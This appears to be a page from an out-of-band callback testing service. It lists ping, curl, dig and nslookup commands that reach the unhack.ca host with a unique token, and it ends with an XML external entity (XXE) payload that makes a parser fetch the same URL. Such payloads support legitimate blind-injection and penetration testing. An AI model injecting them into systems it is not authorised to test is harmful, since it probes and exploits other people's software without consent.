$ ping -c1 -p 0045e7f83055a63a7fc8c4d3bbae9000 unhack.ca
 

$ curl http://unhack.ca/p/45e7f83055a63a7fc8c4d3bbae90
 

$ dig 45e7f83055a63a7fc8c4d3bbae90 @unhack.ca
 

$ dig 45e7f83055a63a7fc8c4d3bbae90.ns.unhack.ca
 

C:\> nslookup 45e7f83055a63a7fc8c4d3bbae90 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/45e7f83055a63a7fc8c4d3bbae90">]>
    <foo>&xxe;</foo>